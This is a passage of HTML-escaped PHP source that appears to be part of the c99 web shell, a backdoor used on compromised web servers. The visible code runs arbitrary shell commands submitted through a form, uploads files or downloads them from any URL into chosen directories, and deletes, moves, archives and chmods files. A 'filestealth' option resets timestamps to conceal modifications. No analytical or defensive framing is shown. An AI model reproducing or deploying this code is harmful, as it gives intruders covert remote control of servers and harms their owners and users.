checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;eXecute&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Group&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_g[r] value=1&amp;quot;.($perms[&amp;quot;g&amp;quot;][&amp;quot;r&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Read&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_g[w] value=1&amp;quot;.($perms[&amp;quot;g&amp;quot;][&amp;quot;w&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Write&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_g[x] value=1&amp;quot;.($perms[&amp;quot;g&amp;quot;][&amp;quot;x&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;eXecute&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;World&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_w[r] value=1&amp;quot;.($perms[&amp;quot;w&amp;quot;][&amp;quot;r&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Read&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_w[w] value=1&amp;quot;.($perms[&amp;quot;w&amp;quot;][&amp;quot;w&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Write&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_w[x] value=1&amp;quot;.($perms[&amp;quot;w&amp;quot;][&amp;quot;x&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;eXecute&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit name=chmod_submit value=\&amp;quot;Save\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;upload&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $uploadmess = &amp;quot;&amp;quot;;&lt;br /&gt;
 $uploadpath = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$uploadpath);&lt;br /&gt;
 if (empty($uploadpath)) {$uploadpath = $d;}&lt;br /&gt;
 elseif (substr($uploadpath,-1,1) != &amp;quot;/&amp;quot;) {$uploadpath .= &amp;quot;/&amp;quot;;}&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  global $HTTP_POST_FILES;&lt;br /&gt;
  $uploadfile = $HTTP_POST_FILES[&amp;quot;uploadfile&amp;quot;];&lt;br /&gt;
  if (!empty($uploadfile[&amp;quot;tmp_name&amp;quot;]))&lt;br /&gt;
  {&lt;br /&gt;
   if (empty($uploadfilename)) {$destin = $uploadfile[&amp;quot;name&amp;quot;];}&lt;br /&gt;
   else {$destin = $userfilename;}&lt;br /&gt;
   if (!move_uploaded_file($uploadfile[&amp;quot;tmp_name&amp;quot;],$uploadpath.$destin)) {$uploadmess .= &amp;quot;Error uploading file &amp;quot;.$uploadfile[&amp;quot;name&amp;quot;].&amp;quot; (can't copy \&amp;quot;&amp;quot;.$uploadfile[&amp;quot;tmp_name&amp;quot;].&amp;quot;\&amp;quot; to \&amp;quot;&amp;quot;.$uploadpath.$destin.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  elseif (!empty($uploadurl))&lt;br /&gt;
  {&lt;br /&gt;
   if (!empty($uploadfilename)) {$destin = $uploadfilename;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $destin = explode(&amp;quot;/&amp;quot;,$destin);&lt;br /&gt;
    $destin = $destin[count($destin)-1];&lt;br /&gt;
    if (empty($destin))&lt;br /&gt;
    {&lt;br /&gt;
     $i = 0;&lt;br /&gt;
     $b = &amp;quot;&amp;quot;;&lt;br /&gt;
     while(file_exists($uploadpath.$destin)) {if ($i &amp;gt; 0) {$b = &amp;quot;_&amp;quot;.$i;} $destin = &amp;quot;index&amp;quot;.$b.&amp;quot;.html&amp;quot;; $i++;}}&lt;br /&gt;
   }&lt;br /&gt;
   if ((!eregi(&amp;quot;http://&amp;quot;,$uploadurl)) and (!eregi(&amp;quot;https://&amp;quot;,$uploadurl)) and (!eregi(&amp;quot;ftp://&amp;quot;,$uploadurl))) {echo &amp;quot;&amp;lt;b&amp;gt;Incorect url!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $st = getmicrotime();&lt;br /&gt;
    $content = @file_get_contents($uploadurl);&lt;br /&gt;
    $dt = round(getmicrotime()-$st,4);&lt;br /&gt;
    if (!$content) {$uploadmess .=  &amp;quot;Can't download file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     if ($filestealth) {$stat = stat($uploadpath.$destin);}&lt;br /&gt;
     $fp = fopen($uploadpath.$destin,&amp;quot;w&amp;quot;);&lt;br /&gt;
     if (!$fp) {$uploadmess .= &amp;quot;Error writing to file &amp;quot;.htmlspecialchars($destin).&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
      fwrite($fp,$content,strlen($content));&lt;br /&gt;
      fclose($fp);&lt;br /&gt;
      if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if ($miniform)&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$uploadmess.&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;File upload:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$uploadmess.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;form enctype=\&amp;quot;multipart/form-data\&amp;quot; action=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=upload&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&lt;br /&gt;
Select file on your local computer: &amp;lt;input name=\&amp;quot;uploadfile\&amp;quot; type=\&amp;quot;file\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;or&amp;lt;br&amp;gt;&lt;br /&gt;
Input URL: &amp;lt;input name=\&amp;quot;uploadurl\&amp;quot; type=\&amp;quot;text\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($uploadurl).&amp;quot;\&amp;quot; size=\&amp;quot;70\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Save this file dir: &amp;lt;input name=\&amp;quot;uploadpath\&amp;quot; size=\&amp;quot;70\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
File-name (auto-fill): &amp;lt;input name=uploadfilename size=25&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;input type=checkbox name=uploadautoname value=1 id=df4&amp;gt;&amp;amp;nbsp;convert file name to lovercase&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Upload\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;delete&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $delerr = &amp;quot;&amp;quot;;&lt;br /&gt;
 foreach ($actbox as $v)&lt;br /&gt;
 {&lt;br /&gt;
  $result = false;&lt;br /&gt;
  $result = fs_rmobj($v);&lt;br /&gt;
  if (!$result) {$delerr .= &amp;quot;Can't delete &amp;quot;.htmlspecialchars($v).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 if (!empty($delerr)) {echo &amp;quot;&amp;lt;b&amp;gt;Deleting with errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$delerr;}&lt;br /&gt;
 $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if (!$usefsbuff)&lt;br /&gt;
{&lt;br /&gt;
 if (($act == &amp;quot;paste&amp;quot;) or ($act == &amp;quot;copy&amp;quot;) or ($act == &amp;quot;cut&amp;quot;) or ($act == &amp;quot;unselect&amp;quot;)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Sorry, buffer is disabled. For enable, set directive \&amp;quot;\$useFSbuff\&amp;quot; as TRUE.&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 if ($act == &amp;quot;copy&amp;quot;) {$err = &amp;quot;&amp;quot;; $sess_data[&amp;quot;copy&amp;quot;] = array_merge($sess_data[&amp;quot;copy&amp;quot;],$actbox); c99_sess_put($sess_data); $act = &amp;quot;ls&amp;quot;; }&lt;br /&gt;
 elseif ($act == &amp;quot;cut&amp;quot;) {$sess_data[&amp;quot;cut&amp;quot;] = array_merge($sess_data[&amp;quot;cut&amp;quot;],$actbox); c99_sess_put($sess_data); $act = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
 elseif ($act == &amp;quot;unselect&amp;quot;) {foreach ($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {if (in_array($v,$actbox)) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}} foreach ($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v) {if (in_array($v,$actbox)) {unset($sess_data[&amp;quot;cut&amp;quot;][$k]);}} c99_sess_put($sess_data); $act = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
 if ($actemptybuff) {$sess_data[&amp;quot;copy&amp;quot;] = $sess_data[&amp;quot;cut&amp;quot;] = array(); c99_sess_put($sess_data);}&lt;br /&gt;
 elseif ($actpastebuff)&lt;br /&gt;
 {&lt;br /&gt;
  $psterr = &amp;quot;&amp;quot;;&lt;br /&gt;
  foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_copy_obj($v,$to)) {$psterr .= &amp;quot;Can't copy &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   if ($copy_unset) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}&lt;br /&gt;
  }&lt;br /&gt;
  foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_move_obj($v,$to)) {$psterr .= &amp;quot;Can't move &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   unset($sess_data[&amp;quot;cut&amp;quot;][$k]);&lt;br /&gt;
  }&lt;br /&gt;
  c99_sess_put($sess_data);&lt;br /&gt;
  if (!empty($psterr)) {echo &amp;quot;&amp;lt;b&amp;gt;Pasting with errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$psterr;}&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 elseif ($actarcbuff)&lt;br /&gt;
 {&lt;br /&gt;
  $arcerr = &amp;quot;&amp;quot;;&lt;br /&gt;
  if (substr($actarcbuff_path,-7,7) == &amp;quot;.tar.gz&amp;quot;) {$ext = &amp;quot;.tar.gz&amp;quot;;}&lt;br /&gt;
  else {$ext = &amp;quot;.tar.gz&amp;quot;;}&lt;br /&gt;
  if ($ext == &amp;quot;.tar.gz&amp;quot;) {$cmdline = &amp;quot;tar cfzv&amp;quot;;}&lt;br /&gt;
  $cmdline .= &amp;quot; &amp;quot;.$actarcbuff_path;&lt;br /&gt;
  $objects = array_merge($sess_data[&amp;quot;copy&amp;quot;],$sess_data[&amp;quot;cut&amp;quot;]);&lt;br /&gt;
  foreach($objects as $v)&lt;br /&gt;
  {&lt;br /&gt;
   $v = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$v);&lt;br /&gt;
   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}&lt;br /&gt;
   if (is_dir($v))&lt;br /&gt;
   {&lt;br /&gt;
    if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
    $v .= &amp;quot;*&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   $cmdline .= &amp;quot; &amp;quot;.$v;&lt;br /&gt;
  }&lt;br /&gt;
  $tmp = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
  chdir($d);&lt;br /&gt;
  $ret = myshellexec($cmdline);&lt;br /&gt;
  chdir($tmp);&lt;br /&gt;
  if (empty($ret)) {$arcerr .= &amp;quot;Can't call archivator (&amp;quot;.htmlspecialchars(str2mini($cmdline,60)).&amp;quot;)!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  $ret = str_replace(&amp;quot;\r\n&amp;quot;,&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
  $ret = explode(&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
  if ($copy_unset) {foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}}&lt;br /&gt;
  foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   if (in_array($v,$ret)) {fs_rmobj($v);}&lt;br /&gt;
   unset($sess_data[&amp;quot;cut&amp;quot;][$k]);&lt;br /&gt;
  }&lt;br /&gt;
  c99_sess_put($sess_data);&lt;br /&gt;
  if (!empty($arcerr)) {echo &amp;quot;&amp;lt;b&amp;gt;Archivation errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$arcerr;}&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 elseif ($actpastebuff)&lt;br /&gt;
 {&lt;br /&gt;
  $psterr = &amp;quot;&amp;quot;;&lt;br /&gt;
  foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_copy_obj($v,$d)) {$psterr .= &amp;quot;Can't copy &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   if ($copy_unset) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}&lt;br /&gt;
  }&lt;br /&gt;
  foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_move_obj($v,$d)) {$psterr .= &amp;quot;Can't move &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   unset($sess_data[&amp;quot;cut&amp;quot;][$k]);&lt;br /&gt;
  }&lt;br /&gt;
  c99_sess_put($sess_data);&lt;br /&gt;
  if (!empty($psterr)) {echo &amp;quot;&amp;lt;b&amp;gt;Pasting with errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$psterr;}&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;cmd&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
if (trim($cmd) == &amp;quot;ps -aux&amp;quot;) {$act = &amp;quot;ps_aux&amp;quot;;}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 @chdir($chdir);&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of execution this command&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $olddir = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
  @chdir($d);&lt;br /&gt;
  $ret = myshellexec($cmd);&lt;br /&gt;
  $ret = convert_cyr_string($ret,&amp;quot;d&amp;quot;,&amp;quot;w&amp;quot;);&lt;br /&gt;
  if ($cmd_txt)&lt;br /&gt;
  {&lt;br /&gt;
   $rows = count(explode(&amp;quot;\r\n&amp;quot;,$ret))+1;&lt;br /&gt;
   if ($rows &amp;lt; 10) {$rows = 10;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;textarea cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot; readonly&amp;gt;&amp;quot;.htmlspecialchars($ret).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  else {echo $ret.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  @chdir($olddir);&lt;br /&gt;
 }&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;b&amp;gt;Execution command&amp;lt;/b&amp;gt;&amp;quot;; if (empty($cmd_txt)) {$cmd_txt = true;}}&lt;br /&gt;
 echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=cmd\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;textarea name=\&amp;quot;cmd\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($cmd).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Execute\&amp;quot;&amp;gt;&amp;amp;nbsp;Display in text-area&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;cmd_txt\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;quot;; if ($cmd_txt) {echo &amp;quot; checked&amp;quot;;} echo &amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;ls&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (count($ls_arr) &amp;gt; 0) {$list = $ls_arr;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $list = array();&lt;br /&gt;
  if ($h = @opendir($d))&lt;br /&gt;
  {&lt;br /&gt;
   while (($o = readdir($h)) !== false) {$list[] = $d.$o;}&lt;br /&gt;
   closedir($h);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if (count($list) == 0) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Can't open directory (&amp;quot;.htmlspecialchars($d).&amp;quot;)!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  //Building array&lt;br /&gt;
  $objects = array();&lt;br /&gt;
  $vd = &amp;quot;f&amp;quot;; //Viewing mode&lt;br /&gt;
  if ($vd == &amp;quot;f&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $objects[&amp;quot;head&amp;quot;] = array();&lt;br /&gt;
   $objects[&amp;quot;dirs&amp;quot;] = array();&lt;br /&gt;
   $objects[&amp;quot;links&amp;quot;] = array();&lt;br /&gt;
   $objects[&amp;quot;files&amp;quot;] = array();&lt;br /&gt;
   foreach ($list as $v)&lt;br /&gt;
   {&lt;br /&gt;
    $o = basename($v);&lt;br /&gt;
    $row = array();&lt;br /&gt;
    if ($o == &amp;quot;.&amp;quot;) {$row[] = $d.$o; $row[] = &amp;quot;LINK&amp;quot;;}&lt;br /&gt;
    elseif ($o == &amp;quot;..&amp;quot;) {$row[] = $d.$o; $row[] = &amp;quot;LINK&amp;quot;;}&lt;br /&gt;
    elseif (is_dir($v))&lt;br /&gt;
    {&lt;br /&gt;
     if (is_link($v)) {$type = &amp;quot;LINK&amp;quot;;}&lt;br /&gt;
     else {$type = &amp;quot;DIR&amp;quot;;}&lt;br /&gt;
     $row[] = $v;&lt;br /&gt;
     $row[] = $type;&lt;br /&gt;
    }&lt;br /&gt;
    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}&lt;br /&gt;
    $row[] = filemtime($v);&lt;br /&gt;
    if (!$win)&lt;br /&gt;
    {&lt;br /&gt;
     $ow = @posix_getpwuid(fileowner($v));&lt;br /&gt;
     $gr = @posix_getgrgid(filegroup($v));&lt;br /&gt;
     $row[] = $ow[&amp;quot;name&amp;quot;].&amp;quot;/&amp;quot;.$gr[&amp;quot;name&amp;quot;];&lt;br /&gt;
     $row[] = fileowner($v).&amp;quot;/&amp;quot;.filegroup($v);&lt;br /&gt;
    }&lt;br /&gt;
    $row[] = fileperms($v);&lt;br /&gt;
    if (($o == &amp;quot;.&amp;quot;) or ($o == &amp;quot;..&amp;quot;)) {$objects[&amp;quot;head&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_link($v)) {$objects[&amp;quot;links&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_dir($v)) {$objects[&amp;quot;dirs&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_file($v)) {$objects[&amp;quot;files&amp;quot;][] = $row;}&lt;br /&gt;
   }&lt;br /&gt;
   $row = array();&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Name&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Size&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Modify&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!$win)&lt;br /&gt;
  {$row[] = &amp;quot;&amp;lt;b&amp;gt;Owner/Group&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Perms&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $k = $sort[0];&lt;br /&gt;
   if (!is_numeric($k)) {$k = $sort[0] = 0;}&lt;br /&gt;
   if ($sort[1] != &amp;quot;a&amp;quot;) {$sort[1] = &amp;quot;d&amp;quot;;}&lt;br /&gt;
   $y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;sort=&amp;quot;.$k.($sort[1] == &amp;quot;a&amp;quot;?&amp;quot;d&amp;quot;:&amp;quot;a&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
   $y .= &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_&amp;quot;.($sort[1] == &amp;quot;a&amp;quot;?&amp;quot;asc&amp;quot;:&amp;quot;desc&amp;quot;).&amp;quot;\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; alt=\&amp;quot;&amp;quot;.($sort[1] == &amp;quot;a&amp;quot;?&amp;quot;Asc.&amp;quot;:&amp;quot;Desc&amp;quot;).&amp;quot;\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[$k] .= $y;&lt;br /&gt;
   for($i=0;$i&amp;lt;count($row)-1;$i++)&lt;br /&gt;
   {&lt;br /&gt;
    if ($i != $k) {$row[$i] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;sort=&amp;quot;.$i.$sort[1].&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$row[$i].&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   $v = $sort[0];&lt;br /&gt;
   usort($objects[&amp;quot;dirs&amp;quot;], &amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   usort($objects[&amp;quot;links&amp;quot;], &amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   usort($objects[&amp;quot;files&amp;quot;], &amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   if ($sort[1] == &amp;quot;d&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    $objects[&amp;quot;dirs&amp;quot;] = array_reverse($objects[dirs]);&lt;br /&gt;
    $objects[&amp;quot;files&amp;quot;] = array_reverse($objects[files]);&lt;br /&gt;
   }&lt;br /&gt;
   $objects = array_merge($objects[&amp;quot;head&amp;quot;],$objects[&amp;quot;dirs&amp;quot;],$objects[&amp;quot;links&amp;quot;],$objects[&amp;quot;files&amp;quot;]);&lt;br /&gt;
   $tab = array();&lt;br /&gt;
   $tab[&amp;quot;cols&amp;quot;] = array($row);&lt;br /&gt;
   $tab[&amp;quot;head&amp;quot;] = array();&lt;br /&gt;
   $tab[&amp;quot;dirs&amp;quot;] = array();&lt;br /&gt;
   $tab[&amp;quot;links&amp;quot;] = array();&lt;br /&gt;
   $tab[&amp;quot;files&amp;quot;] = array();&lt;br /&gt;
   foreach ($objects as $a)&lt;br /&gt;
   {&lt;br /&gt;
    $v = $a[0];&lt;br /&gt;
    $o = basename($v);&lt;br /&gt;
    $dir = dirname($v);&lt;br /&gt;
    if ($disp_fullpath) {$disppath = $v;}&lt;br /&gt;
    else {$disppath = $o;}&lt;br /&gt;
    $disppath = str2mini($disppath,60);&lt;br /&gt;
    if (in_array($v,$sess_data[&amp;quot;cut&amp;quot;])) {$disppath = &amp;quot;&amp;lt;strike&amp;gt;&amp;quot;.$disppath.&amp;quot;&amp;lt;/strike&amp;gt;&amp;quot;;}&lt;br /&gt;
    elseif (in_array($v,$sess_data[&amp;quot;copy&amp;quot;])) {$disppath = &amp;quot;&amp;lt;u&amp;gt;&amp;quot;.$disppath.&amp;quot;&amp;lt;/u&amp;gt;&amp;quot;;}&lt;br /&gt;
    foreach ($regxp_highlight as $r)&lt;br /&gt;
    {&lt;br /&gt;
     if (ereg($r[0],$o))&lt;br /&gt;
     {&lt;br /&gt;
      if ((!is_numeric($r[1])) or ($r[1] &amp;gt; 3)) {$r[1] = 0; ob_clean(); echo &amp;quot;Warning! Configuration error in \$regxp_highlight[&amp;quot;.$k.&amp;quot;][0] - unknown command&amp;quot;; exit;}&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       $r[1] = round($r[1]);&lt;br /&gt;
       $isdir = is_dir($v);&lt;br /&gt;
       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))&lt;br /&gt;
       {&lt;br /&gt;
        if (empty($r[2])) {$r[2] = &amp;quot;&amp;lt;b&amp;gt;&amp;quot;; $r[3] = &amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
        $disppath = $r[2].$disppath.$r[3];&lt;br /&gt;
        if ($r[4]) {break;}&lt;br /&gt;
       }&lt;br /&gt;
